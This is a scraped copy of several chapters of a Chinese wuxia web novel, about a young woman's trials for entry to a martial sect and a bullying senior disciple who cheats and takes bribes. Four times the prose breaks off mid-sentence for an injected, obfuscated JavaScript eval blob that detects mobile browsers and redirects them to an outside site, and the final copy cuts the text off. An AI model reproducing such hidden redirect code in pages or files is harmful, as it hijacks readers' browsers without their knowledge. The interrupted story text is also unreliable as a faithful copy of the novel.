“就是就是。还参加什么选拔？浪费大家的时间，不如直接卷铺盖走人吧！” 褚笑眉冷笑：“说我比不过这姓郑的？敢赌吗？” 郑良朋问道：“你想赌什么？” “就赌我和你的根骨谁更好。”褚笑眉一字一句道，“如果你输了，就当众向我道歉，并且自请离山。” “你个黄毛丫头，居然觉得我有可能会输？”郑良朋嗤笑道，“那要是你输了，又当如何？” “任凭你发落。” 郑良朋的目光不老实地上下打量：“这可是你说的，到时候就别怪哥哥辣手摧花了。” 仅根骨一项就能淘汰三成的人。与褚笑眉同屋的骆慧英、裴亭亭等，是每年都来参试的，根骨早筛过了，自然不会在这一项上落选。 只听逍遥宗弟子唱到：“下一位，褚笑眉。” “去吧。”郑良朋道，“褚姑娘最好记得我们的赌注——不记得也没关系，我会帮你兑现的。” 褚笑眉冷冷睨他一眼：“这话应该我对你说，你别后悔。” “还嘴硬，你其实已经怕了吧？”郑良朋问道，从嗓子里挤出几声狞笑，“怕了也没关系，你这妞脾气虽差，长得倒还行，哥哥也不是不能怜香惜玉一点。 “只要你现在跪下，给我磕三个响头。等你被撵下山去，我就收你做个小妾，每月给你几两银子，买几件漂亮衣裳取悦一下哥哥，怎么样？” “我呸！”褚笑眉将一口唾沫啐到他脸上，“做什么青天白日梦！姑奶奶今日就让你长长教训！” “你——！”郑良朋急忙抹去脸上的秽物，气得胸口剧烈起伏，“给脸不要！行，你有骨气，现在就去测根骨。你自己亲口承诺的，若是输了赌约，听凭我发落！” “好，我说到做到。”褚笑眉大步向前走去。 所谓测验根骨，便是以内力灌注体内，检查经脉是否通畅、骨骼是否强健。 负责测验的师姐运起功力，双掌抵在褚笑眉背后，随着内力深入，她脸色愈来愈凝重： “这……这是……” 56. 第 56 章 “这是我见过最好的根骨。”女子瞪大了眼，直直盯着褚笑眉，脸上满是不可置信。 “你说什么？！”郑良朋惊呼。 女子出言解释：“奇经八脉俱已通畅，肌骨强健有力，至少是一乙的水准——甚至应该是一甲。” 一甲。 此言一出，四周骤然鸦雀无声，众人的目光都聚集到了褚笑眉脸上。 震惊之后，有人交头接耳、窃窃私语。 “一甲，不可能吧……” “咱们这一辈里，根骨是一甲这么高品级的，只有云溶雪师姐和无我门的叶渡少侠。难道又出了一个天才？” 这个屡次三番羞辱他的少女，居然是个习武奇才？不，郑良朋不相信，一定是出了什么差错！ 他向女子询问道：“是不是你摸错了？” “郑师弟，你是在质疑我吗？” 察觉到女子语气不善，郑良朋连忙垂首，缓声道：“严师姐，我并无此意。 “但这个不知道从哪里冒出来的野丫头，岂会拥有这样惊世的根骨？定是她使了什么手段欺瞒于您！” 严蕙若脸色骤冷：“你觉得我是这么好骗的？根骨优劣都分不清？你这么有本事，怎么坐在考官位子上的人不是你？” 当考官有什么了不起的？严蕙若一个女的，指不定是靠什么上位的。 郑良朋的脸色青白交加，但论资排辈，这贱人偏偏又是他师姐。他不好发作，只得提议道： “自逍遥宗立派以来，擢选中的根骨一项，只给出过一次一甲的评级——也就是云师姐入门之时。其余弟子的天资，顶天了就是一乙。 “此事非同小可，我认为还是请常长老来看过更为妥当，您觉得呢？” 逍遥宗除宗主外，还有诸多长老各司其职。 最有分量的四个职位，分别是传功长老、执法长老、护法长老和执剑长老。 传功长老功力深不可测，能被他们收入座下的，都是傲视群雄的宗门天骄，以精研武艺、登峰造极为目标； 执法长老负责执行门规，惩治弟子、清理门户； 护法长老有东、南、西、北四位，各居一方守卫宗门； 执剑长老则仅有一位，是礼仪所需和荣誉象征，主持弟子的入门、拜师、继承等仪式。 此外，还有丹药长老、阵法长老、外务长老、内务长老和客卿长老。 郑良朋所提到的“常长老”，正是一位内务长老。逍遥宗入门擢选的相关事宜，便是由这位长老主管。 严蕙若想了想，颔首道：“你这番话倒是有理。新秀中出了个有此等天资的，确实该让长老知晓。” 她向身后的师妹吩咐：“筱兰，去请常长老来。” 褚笑眉暂且退至一旁，郑良朋像狗皮膏药一样粘了上来：“不知道你使了什么诡计，居然让严师姐把你误判成了上等根骨。你别得意，等常长老过来一看，你就原形毕露了！” 褚笑眉简直被他蠢得发笑：“你一直都这么自欺欺人吗？宁可相信我有能瞒过根骨测验的法子，也不信我确实拥有绝佳的根骨？” 郑良朋冷笑：“我带过的新弟子，没有一千也有八百了。你是什么货色，我一看便知！ “还一甲？造假也不知造个合适的，你知道一级有多稀缺吗？” 他身后的跟班纷纷附和。 “就是就是，真是个蠢货！但凡搞个三乙三丙，我们睁只眼闭只眼就过去了！你把事情闹这么大，我们郑师兄想捞你都没得捞喽！” “也不出去打听打听，根骨能评上一乙和一丙的，几乎都是武林世家的子女。这些人家世代习武，诞育的子嗣根骨清奇，是老天爷追着喂饭吃！你难不成还能强过他们？” “而且我们郑师兄，那可是从出生起就开始泡疏通经络的药浴！再加上天生身强体健，摸根骨时直接就拿到了二甲的评级！在并非出身名门的弟子里，已经是一等一的有天赋了！” 郑良朋被吹捧得万分得意，看向褚笑眉的眼神愈发鄙夷：“听见了吧？知道你扯了一个多大的谎吧？就你这样的，能卡着三丙的线通过就不错了！ “我不知道叶渡给你搞了什么灵丹妙药，居然能瞒过那个姓严的妮子。等常长老来，你就完蛋了！” “好啊，”褚笑眉满口应下，“那我们走着瞧。” 这个女人凭什么摆出一副信心满满的模样？难道她没有作假，这天赋竟然是真的？ 郑良朋摇了摇头，否定了这个念头。拥有这种天资的人极其罕见，她怎么可能刚好就是其中之一？ 他冷哼道：“你现在只管嘴硬！逍遥宗的入门擢选是禁止用药的！常长老会当众揭穿你，到时候你就算是磕头给我认错也晚了！看谁还能救得了你！” 一名仙风道骨、鹤发童颜的老者翩然而至。众弟子纷纷抱拳行礼：“见过常长老。” 褚笑眉目前还没入门，自然没有行礼的必要。她直挺挺地站着，与常长老目光对上，对方似乎正在仔细打量她。 她定睛再看时，那位老者分明在人群中漫无目的地扫视。刚才那一眼，大概只是她的错觉吧。 常长老问道：“你们说的那名根骨奇佳的孩子，是哪一位？” 严蕙若当即行至褚笑眉身边，将她引至老者面前：“是这位姑娘。依弟子测来，她恐怕有一甲品级的上等根骨。” “哦？”常长老语气温和，“姑娘，可否伸出手来？让老夫看看。” 褚笑眉依言伸出了右手，老者握住了她的手，源源不断的温煦内力注入她体内，探查着她的四肢百骸。 随着探查的深入，常长老的目光越来越亮。终于，他松开了手，拊掌大笑起来，连说了三遍“好啊”。 郑良朋脸色铁青，仍旧心有不甘，拱手问道：“弟子冒昧一问，好在何处？” 常长老道：“我方才引动内力，在这位姑娘体内运转了一个小周天和一个大周天，竟只是略微有所阻滞，并无不通之处。” 满座皆惊。 要知道，武学能到何种境地，很大程度上取决于经脉能打通多少。褚笑眉从未习过武，奇经八脉天生贯通。她的起点，已是绝大多数人努力一辈子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217971|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都无法达到的终点。 “你们云师姐入门时，也是老夫为她验的根骨。姑娘的天资，比她有过之而无不及，只可惜你习武太晚，恐怕难以打下扎实的根基。” 常长老继续道：“虽然起步晚了些，但只要你潜心习练，未来实力不可限量。莫要浪费了这样好的天赋。” 老者本没有必要叮嘱这些，他说这番话，处处是关怀提携之意，褚笑眉又焉能不知？ 她心下动容，抱拳行了一礼：“多谢长老指点。” 老者离开后，人群中的议论仍未平息。 郑良朋的脸色难看到了极点，从鼻子里哼出一声，就想拂袖而去。 褚笑眉拦住了他的去路：“哎，别走啊，你还没兑现我们的赌约呢。” 郑良朋冷脸询问：“什么赌约？” “赌我们俩谁的根骨更好，你输了。按照约定，你应该当众向我道歉，并且自请离山。” 她抱起手臂，斜斜睨过去：“你不会是想赖账吧？” “小贱人，你别得寸进尺。”郑良朋咬着牙骂道。 褚笑眉两手一摊：“赌约是你自己应下的，我又没拿把刀架你脖子上逼你。怎么还变成我得寸进尺了？” “我没应过这样的赌约。” “就知道你要耍赖。行了，姑奶奶饶你一回，以后放机灵点，别来招惹我。再有下回，我让你吃不了兜着走。” “还有，”她蓦地笑得眉眼弯弯，“你虽然不认，但是你身后这几个跟班可全程听见了。你猜，他们私底下会怎么说你？ “说那姓郑的就会摆师兄的谱，天天自吹自擂，其实半点本事都没有，输给了一个新来的黄毛丫头，输了还抵赖……” 那几名跟班连忙解释。 “郑师兄！你别听这妮子挑拨！” “对啊，你可是我们最敬重的人，我们怎么可能在背后议论你？” 郑良朋的脸色黑了又黑：“褚姑娘，别得意得太早了。根骨好有什么用？你现在年纪这么大了，难道还真能练出什么名堂来吗？ “我不是言而无信的人。这才只是第一项测验根骨而已，要是你当真能通过入门擢选，我一定兑现承诺，自请离山。” 这人忒不要脸。赌约分明只是验根骨，他三言两语，竟又说成了要她通过全部考核。 跳梁小丑罢了，她懒得和他分辩。当务之急，是要面对接下来的负重登山——这是她最弱的一项，也是最可能被淘汰的一项。 “好狗不挡道，滚开。” 从小到大，郑良朋的天资就算不是上等，那也是中上。长辈关怀，同门爱戴，他何时受过这种窝囊气？ 望着褚笑眉离开的背影，他心里怒意愈胜。他就不信了，区区一个小丫头片子，他还收拾不了了？ 郑良朋走进书房，翻看着登记参试者的册簿，从中找出了褚笑眉的名字。这一看，竟果真让他发现了端倪—— 他急忙怀揣着册子，去见常长老：“长老，弟子发觉这位褚姑娘作弊！ “以她的身形来看，怎么可能只有九十八斤？” 57. 第 57 章 测验根骨时闹出的动静太大，不出一个时辰，褚笑眉这个名字就已如生了双翼般，飞遍了逍遥宗上下每一个角落。 人人都知晓，今年的参试者里头出了个天赋卓绝的，竟惊动长老亲自现身抚骨测探；更令人震动的是，长老抚须长叹，说她的天资，恐怕唯有当年云师姐方可比拟。 她一下子成了红人。 但凡是她经过的回廊，必挤满探头探脑的弟子。他们目光灼灼，私语不绝，仿佛想从她身影中瞧出什么惊世奥秘。 裴亭亭紧紧攥着褚笑眉的手，在她身边雀跃地蹦来蹦去，声音又惊又喜：“武学奇才竟在我身边！这么厉害的根骨，你居然藏着掖着！怎么不早告诉我？” “哪就算得上就武学奇才了？”褚笑眉被她晃得有些头晕，只能无奈摇头，“后面的考核我心里都没底呢。” 裴亭亭忽然停下动作，定定地望着她，一双明眸清澈见底，极其认真：“你天资这么好，肯定能过的！我要是也有这么厉害的天赋就好了……”她的话音渐渐低下去，染了些许落寞的艳羡。 但这低迷也只一霎之间，她旋即抬起头，眼中像是重新点燃两簇火焰，斗志再次昂扬起来，朗声道：“不过就算没有，只要我拼命努力，将来也一定能成为一代大侠！” “省省吧。”一个声音冷冷传来。骆慧英双臂交叠，脸上没什么表情，唯有嘴角含着一丝嘲弄的冷笑。 “人总得现实一点，你现在连逍遥宗都考不进。”她语气平淡，却字字清晰，“我劝你，不如早点放下那个不切实际的大侠梦。” 裴亭亭的声音里带着不容置疑的执拗：“今年考不进，那就明年再来；明年不行，还有后年——总有一天，我一定能走进逍遥宗的大门！” “就算你侥幸考进了，又能如何？”骆慧英像一块沁着寒气的冷玉，连讽刺人的话语都沾着清冽的霜意。“天底下的侠士如过江之鲫，可真正能被称作‘大侠’的，又有几人？你即便入了外门，也不过是武林中岌岌无名、毫不起眼的一员罢了。 “江湖，从来不是说书人口中那段慷慨激昂的故事。要做大侠，靠的是天资，是机缘，是……” “骆姐姐，”裴亭亭突然出声打断，她目光清亮，并无退缩之意，“我的确想成为赫赫有名的大侠，天底下习武之人谁不想？但即便实现不了这个愿望，我仍旧要做侠士。 “我曾听先辈说过，‘侠之大者，为国为民’，我深以为然。 “侠之大小，不在武功高低、声名显隐，而在于这里——”她抬手，指尖轻轻点在自己心口，“是否始终怀揣着一颗善心，一份敢为他人抱不平的勇气。” “天真。”骆慧英嗤笑一声，眼中掠过一丝讥诮，“没有高强的武功，你拿什么行侠仗义？你怎知你那不是自投罗网、徒然送死？” “能力有大小，但侠义没有。”裴亭亭回答得毫不犹豫，“我若能像云少侠那般武功盖世，自然可以去剿灭山匪、斩杀贪官；但即便我只会些三脚猫的功夫，也可以赶走欺辱妇孺的地痞，帮卖菜的老婶扛米袋，替走丢的小孩找娘亲……都是锄强扶弱、匡扶正义，我做了这些事，就是侠。 她语气愈发坚决，如同立誓：“而且，我不会停下脚步。我会拼命练功，认真修行。只要我能再强一点、再厉害一些，我能做到的事、能帮助的人，就一定会更多。” 没想到她小小年纪，竟能说出这样一番话。 站在一旁的褚笑眉微微一怔，她原本只当裴亭亭是个天真烂漫、不谙世事的小姑娘，如今倒是令她刮目相看了。 一名身着逍遥宗白蓝弟子服的青年径直朝褚笑眉走来，步伐沉稳，面无波澜。 他在她面前站定，微微一拱手，语气公事公办：“褚姑娘，常长老请您即刻前往议事厅一趟。” 来人神色凝重，眉宇间笼罩着一层肃然。褚笑眉心中顿时升起一股不祥的预感，右眼皮也随之突突地跳了起来。 她沉默地跟在那弟子身后，穿过数道曲折迂回的长廊。廊外修竹掩映，本是一派清幽景象，此刻却无端显得压抑。 议事厅的大门敞开着，只见主位之上，一位须发皆白的老者正襟危坐；而下方垂手恭立的，不是别人，正是郑良朋。 一看到这个王八犊子，褚笑眉的心更是猛地往下一沉，仿佛坠入冰窖。 “姑娘来了。”常长老的声如洪钟，在厅内激起低沉的回声，语气虽平淡，却自带一股不容置疑的威压。“有人检举，称你在昨日称重时舞弊，可有此事？” 褚笑眉的目光倏地如冷电般射向郑良朋。而后者偏过头，毫不避讳地迎上她的视线，嘴角勾起一抹得逞般的奸笑。 “称重怎能作弊？”她听见自己声音发颤，但仍强迫自己挺直背脊，不肯示弱。“周围那么多双眼睛看着，大秤用的也是逍遥宗的。检举者可有真凭实据？还是仅凭一张空口就要污人清白？” 郑良朋忽然轻笑一声，不紧不慢地踱步到她身侧：“褚姑娘何必如此紧张？究竟是不是污蔑，其实简单得很，你再称一次，不就一清二楚了？” 他话音未落，又朝她凑近半步，压低的嗓音带着灼热的气息扑在她耳际，如同毒蛇吐信：“就像姑娘昨日称得的——九十八斤，没错吧？” 褚笑眉的后槽牙几乎咬碎：“体重难免有波动，郑少侠是要靠这个给我定罪吗？” “姑娘的体重是昨日才称的，若是只差一两斤，自然情有可原。可若是相差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217972|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚远……”郑良朋笑得眼睛眯成了一条细缝，显得格外险恶，“总得给出一个令人信服的解释吧？” 褚笑眉手心沁出冷汗，却再也找不到推拒的理由。逍遥宗弟子将那杆漆黑沉重的大秤搬了过来，她只得在众目睽睽之下，再一次坐上去。 当秤杆最终稳定，数出的秤花让郑良朋几乎是跳了起来，他佯装震惊，高声喊道：“一百一十斤！褚姑娘，这可就奇了！不知究竟发生了何事，能让你在一夜之间陡然增重十二斤？” 常长老屈指叩击长几，每一下都像敲在褚笑眉心口：“说吧，你确实需要给我们一个交代。” 事已至此，褚笑眉再无他法，只得深吸一口气，将自己在称重前所用的“断水之法”原原本本、和盘托出。 “竟是如此下作手段！”郑良朋闻言立刻振声高喝，脸上写满了义正辞严的愤慨。“若人人皆效仿此等行径，我逍遥宗的入门擢选岂不成了可随意欺瞒的儿戏？规矩何在？威信何存？！” 他转向常长老，拱手躬身，语气斩钉截铁：“常长老，依弟子愚见，理应直接将褚笑眉淘汰出局，逐出山门，方能以儆效尤，杜绝后来者再有侥幸之心！” 褚笑眉心头一紧，急忙出声辩解：“我……我事前仔细研读过本届入门擢选的所有规章条文，其中确实没有任何一条明文禁止考生在称重前使用断水之法。我此举虽涉取巧，却并未违犯成规……” 常长老目光扫过两人，沉吟片刻，缓缓开口：“宗门律条之中，确实未曾明令禁止此法。” “若因无明文规定之举便直接剥夺资格，处罚未免过重，恐失之严苛；然，”他话锋一转，目光变得锐利，“若对此等钻营取巧之举全然不加以惩戒，却又恐失却公允，难以服众。” 他抬手捋了捋雪白的长须，继而说道：“既然如此，便折中处置。褚笑眉，你既刻意瞒下了十二斤的重量，那在此后的登山考核中，你便须增加二十四斤的负重，以作惩诫。” 褚笑眉的脸色霎时白了几分。她复称后的体重已是一百一十斤，再额外加上这二十四斤的负重，便是一百三十四斤！体能本就是她的弱项，如此一来，无异于雪上加霜，她通过考核的希望几近渺茫。 她心中涌起巨大的焦灼，忍不住上前半步，语带恳求：“长老，能不能……” 常长老并未容她说完，便抬手打断，态度坚决，不容置疑：“老夫此番决断，已是念你初犯且未直接触犯明文规定，故而从轻发落。” “你若能接受，便背负着这二十四斤去完成考核；若是不能——”他目光如炬，沉声道，“那此刻便去收拾行李，自行下山去吧。” 厅内一片寂静，所有的目光都聚焦在褚笑眉身上。 58. 第 58 章 她只觉得那无形的二十四斤重压已提前勒紧了她的肩膀。她死死咬住下唇，垂下眼睑，从齿缝间挤出了三个字：“……我接受。” 第一项考核测验根骨，过程枯燥，无非是探脉抚骨，查验经脉宽窄与气海深浅，并无什么观赏性。故循旧例，从不对外人开放。 至于这第二项考核，则全然不同——要求参试者背负与自身重量完全相同的铅块，在短短半个时辰内，一鼓作气爬完武圣像前那陡峭蜿蜒的三千级青石阶。 此关既考体力耐力，亦验意志决心，场面颇具看点。因此特许对外开放，非逍遥宗弟子亦可前来观礼。 今日天朗气清，武圣像所在的明月台之下早已人声鼎沸，狭窄的山道两旁竟围挤得水泄不通。 其中多是陪孩子前来参加擢选的父母，也有纯粹瞧热闹的江湖客和附近百姓。人群之密集，远胜过山道两侧经年生长的郁郁松柏。 汹涌人潮中，一人独立，如珠玉在瓦砾之间，分外显眼。那人正是叶渡。 他并未刻意张扬，只着一身窄袖青衫，身姿挺拔如松。然其目若朗星，眸中自有清辉流转，俊朗清逸。 许多已做了母亲的，竟一时忘了关注自家孩儿是否安好，目光不由自主地飘向他所在之处；而后又赧然羞涩地悄悄收回，或是与身旁同伴低语赞叹，眼角余光却仍忍不住一次次瞥去。 褚笑眉正凝神调整着肩上沉重的负重，下意识抬眼间，恰与叶渡望来的目光遥遥对上。只见他唇角微扬，对她轻轻颔首，笑意温和。 她暗自叹了一口气，胸中满是难以言说的涩然与沉重。 她还未来得及寻个机会告诉叶渡，自己用断水之法减重的事情已被郑良朋当众揭穿，并换来了这雪上加霜的严厉惩罚。 从前在日常训练中，即便在没有这额外二十四斤的情况下，她尚且无法在规定时限内完成这三千级台阶，每每拼尽全力仍差之甚远。 而如今，身上背负的重量远超以往。她心中几乎已能预见结局——今年恐怕当真要止步于此，与逍遥宗无缘了…… 面前那三千级青石阶依着山势凿刻而成，蜿蜒曲折，一路向上延伸，最终没入缭绕的云雾深处，仿佛直通天际，望之令人目眩。 “铛——！” 一声清越震耳的铜锣敲响，宣告考核正式开始。 身旁早已准备就绪的参试者们闻声，顿时如离弦之箭，纷纷发力向上猛冲而去，杂沓急促的脚步声密集地敲击在石阶上。 然而，褚笑眉却几乎在迈上第一级台阶时就猛地一个踉跄。肩上那骇人的重量猝然压下，像一双无形巨手狠狠摁在她的肩头，压迫得她膝盖一软，险些当场跪倒。 她猛地深吸一口气，死死咬住牙关，将涌到嘴边的惊呼强行咽下。她努力稳住身形，竭力调整着已然紊乱的呼吸，逼迫自己凝神静气，运用起叶渡曾悉心指点过的吐纳之法—— 吸气时，深长而绵缓，引清气下沉；呼气时，短促而有力，逼浊气外吐，将每一缕气息都稳稳沉入丹田深处，试图借此榨取身体深处每一分可能的力量。 这独到的吐纳法门确有奇效。 她至今仍清晰地记得，自己第一次在叶渡的指导下成功运用此法时，完成同样台阶的用时竟惊人地缩短了将近三分之一。 此刻，她将全部心神凝聚于呼吸的节律之上，一吸一呼，不敢有丝毫错乱。 凭借着这股外力，她勉强缀在大队人马的最末尾，尚未被彻底甩开。 最初的几百级台阶，她几乎是全靠着一股不甘认输、倔强到底的狠劲硬生生扛下来的。 汗水早已不受控制地涌出，迅速浸透了她单薄的衣衫，额前与鬓角的碎发被汗水濡湿，黏腻地贴在滚烫的皮肤上，显得狼狈不堪。 每一次抬腿都如同拖着千斤巨镣，沉重无比。坚硬的石阶透过薄薄的鞋底，硌得脚心生疼，仿佛踩在刀尖。 然而，随着攀登的持续，那吐纳法门所带来的些许增益，终于被身体巨大的消耗彻底淹没、吞噬殆尽。 她的肺部如同被烈火灼烧，每一次呼吸都带着撕裂般的痛楚。 眼前的景象开始模糊、晃动，扭曲成一片迷蒙的光影；耳畔嗡鸣，再也听不到山间的风声与他人的脚步，只剩下自己沉重得如同老牛拉犁般的喘息声，以及那撞击着耳膜、如擂鼓般狂野而紊乱的心跳。 双腿的肌肉早已透支，不受控制地剧烈颤抖着，仿佛下一刻就要彻底罢工，将她连同背上那如山的重负一起掀翻，滚落这漫长的石阶。 “铛——！” 又一声锣响，只剩最后一刻钟的时间了，而她才仅仅爬了一半的台阶。 “不行……绝不能倒在这里……”她的神智早已昏沉模糊，唯一的念头便是向上，再向上。 她无法维持站立攀登的姿态，几乎是伏在了冰冷粗糙的石阶上，四肢并用，以一种近乎原始的姿势向上攀爬。 手指因用力而泛白，死死抠住上一级石阶的边缘。指尖传来摩擦的刺痛，她却浑然不觉，只是凭借这一点微薄的支点，艰难地将自己沉重的身躯一寸寸向上拖曳。 就在她意识涣散、濒临晕厥的边缘，身体内部似乎所有力量都已榨干殆尽时——忽然，在她冰冷僵麻的丹田最深处，极其隐约地，生出一丝微不可察的暖意。 那暖流细若游丝，微弱得如同风中残烛，却真实存在。 是内力！ 测验根骨时，总是要旁人将内力引入她体内，以此查探经脉与骨骼。 修习不同功法的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217973|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，内力运转的周天不同，各自的属性更是迥异。张世伯的内力刚猛霸道如烈火燎原，叶少侠的轻盈柔和似春风拂柳，而逍遥宗那位考官师姐和常长老的，则是厚重温润像大地承载万物。 她曾清晰地感知过那些外来的内力。而此时此刻，在她油尽灯枯的躯体深处，正悄然诞生的这一缕微弱气息，虽渺小，却带着一种前所未有的“自生”的熟悉感—— 她敏锐地感知出来，这，正是属于她自己的内力！ 褚笑眉在浑噩中猛地一个激灵，残存的意志力如同抓住了最后一根救命稻草。她强忍着晕眩恶心和全身叫嚣着的疼痛，将全部残存的心神都集中起来，拼命地去感受、去捕捉那一点点稀薄的暖流。 引导它……像引导一滴缓缓流动的水银…… 她勉强还能记得，逍遥宗的内力运转路径。 凭着某种本能，她尝试着驱使那丝暖流顺着脊椎缓缓向上，流过酸胀不堪的脊背，淌过后颈，经过头顶百会穴，汇入眉心，再缓缓下沉，回归丹田——一个模糊却完整的小周天。 成了！ 那暖流流过之处，僵死的肌肉仿佛被注入了一丝微弱的活力，虽然依旧沉重无比，但那令人绝望的虚脱感竟稍稍减退了半分！ 她精神大振，不顾一切地继续尝试，引导着那逐渐壮大了些许的暖流冲击更艰涩的路径，运行大周天。每一次循环，那暖流便似乎壮大一分，流过四肢百骸，驱散深入骨髓的疲乏。 她竟在绝境之中，无师自通，摸到了运转内力的法门！ 虽然初生的内力极为稀薄，但对于此刻油尽灯枯的她而言，无疑是久旱甘霖。一股新力从丹田涌出，支撑着她几乎要散架的身体。她猛地吸了一口气，原本模糊的视线再次聚焦，终点那飘扬的旗帜仿佛触手可及！ 时间所剩无几！ 她撑着台阶起身，不知从何处爆发出最后的力量，背负着那惊人的重量，一步两级，甚至三级，飞速冲向终点！沉重的脚步砸在石阶上，发出咚咚的闷响。 在她冲过终点线的那一刻，宣告时辰到的铜锣恰好敲响！ 成功了…… 这个念头如同赦令，瞬间抽干了她凭借意志力和初生内力强撑起的所有精神。眼前骤然一黑，所有的声音迅速远去，疲惫如同黑色的潮水彻底淹没了她。她身体一软，向前栽倒。 预想中撞击石地的疼痛并未传来。 她落入了一个温暖而坚实的怀抱，鼻尖萦绕着些许温煦的、如同初升日光拂过新抽草木般的好闻气息。 模糊的视线最后捕捉到的，是一角熟悉的青衣衫袖，以及一双盛满担忧却依旧明亮如星子的眼眸。 是叶渡。 她彻底失去了意识，安心地沉入了黑暗之中。 59. 第 59 章 “褚姐姐，醒醒。” 少女清亮的嗓音在耳边呼唤，褚笑眉睁开眼，明亮的天光晃得她一阵恍惚。 眼前是裴亭亭甜美的笑容：“骑射一项快要开考了，你须得起来啦。” “唔。”褚笑眉应了一声，撑着床榻坐起身子。指尖传来粗粝的触感，她垂眸一看，发现磨破的手指已经被包扎好了。“你帮我处理了伤口？” “不是我，是叶渡少侠。”提起这个名字，裴亭亭的眼眸一下亮了起来，“我三年前就听说过叶渡少侠——无我门的天之骄子，首次参加论剑就拿到了第一！这还是我第一回见到真人！褚姐姐，没想到你居然认识他！” 褚笑眉一面更换骑装，一面道：“只是见过几面罢了。” “我看可不只是见过几面！”她灼热的目光落到褚笑眉身上，“爬到明月台后你晕倒了，是叶渡少侠把你抱回来的。他看到你手指头的伤口时，眼圈都红了；后来还用内力为你梳理了经脉，你现在身上是不是一点儿都不疼了？” 经她这么一提，褚笑眉才发现果真如此。她酸痛的肌肉竟然已经舒展开来，睡了这一觉只觉神清气爽。她问道：“叶少侠去哪儿了？” “叶渡少侠安顿好你后，就离开毓秀园了。他走之前叮嘱我，叫我们一定记得叫你起来参加骑射考核，他说他会在考场外围等着看你的。” 墙根下鬼鬼祟祟站着两人。其中一个年纪尚小，看起来约莫十一二岁，身穿窄袖劲装，应当是今年的考生；另一个身着逍遥宗弟子服，正是郑良朋。 野蜂嗡嗡叫着，从一朵花飞到另一朵花。衣袍遮挡下，两锭银子碰撞间发出闷响，从一人交至另一人手中。 那考生压低声音道：“郑少侠，这几日逍遥宗入门擢选，您忙前忙后实在劳碌。听说接下来的骑射考试，我们这一组的马匹也是由您安排。这些是我孝敬给您的心意，您看……” “你这太客气了，都是我应当做的。”郑良朋笑得合不拢嘴，将银子揣进了怀里，“我知道有一匹黄骠马，跑得又快又听话。我看你今日红光满面的，一定运气好，说不定会分到你手上。” 考生闻言，眉眼间也展露出了笑意，向着郑良朋一拱手：“既如此，就多谢郑少侠吉言了。” 郑良朋从草木掩映处走出，穿过九曲回廊，摩挲着袖中沉甸甸的银两，脚步反而愈发轻快。他口中哼着小调，推开了马厩的木门。 他那八个跟班正在给马儿们调整马鞍、挂上号牌。一见他来，纷纷停下手上的动作，抱拳行礼：“郑师兄。” “都辛苦了。”郑良朋朝着一个矮胖小子招了招手，“乌向阳，你过来。” 乌向阳堆满了谄媚笑意，躬身上前：“师兄您吩咐。” 郑良朋低声问道：“这些马都安排妥当了？” “早按照您的嘱咐分好了。喏，那匹枣红马是一零九号的，那匹黑马是一一二号的，那匹白马是一二七号的……”乌向阳点了点自己的脑门，“我全记在这里，保管不会有错。” 他个子矮小，又踮起脚附在郑良朋耳边，补充了一句：“而且啊，您交代过的马儿，我这几日都精心饲喂着呢；至于其他的，我们有意不给吃饱，它们没力气，怎么也跑不快的。” “你倒伶俐。”郑良朋从钱袋中取出一把碎银，搁进这个小胖子掌心，“拿去给大家分一分，买些茶点吃。” 乌向阳点头哈腰地连声道谢。 郑良朋抬手一指，又道：“那匹黄骠马，给一零四号吧。” “是。”乌向阳应下，利落地去给马匹换了号牌。 郑良朋的目光在马厩里扫视，三角眼眯成一道窄缝：“那个褚笑眉……编号是多少来着？” “是一零八。”乌向阳答道。 “一零八啊。”郑良朋呢喃着这个数字，嘴角勾起意味不明的笑。 他信步走到挂着一零八号的骏马身旁，伸手摸了摸鬃毛，马儿亲昵地回头来蹭他：“这马性子太温吞，想来跑不快。要是因此影响考生发挥，未免有失公允。不如换一匹吧？” 乌向阳当即会意：“师兄所言极是！侧院马厩里单独关着的那匹‘青凛’，精力最是充沛。我这就去牵它过来！” 他小跑着穿过院间的门洞。不多时，“哒、哒哒”错落的马蹄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 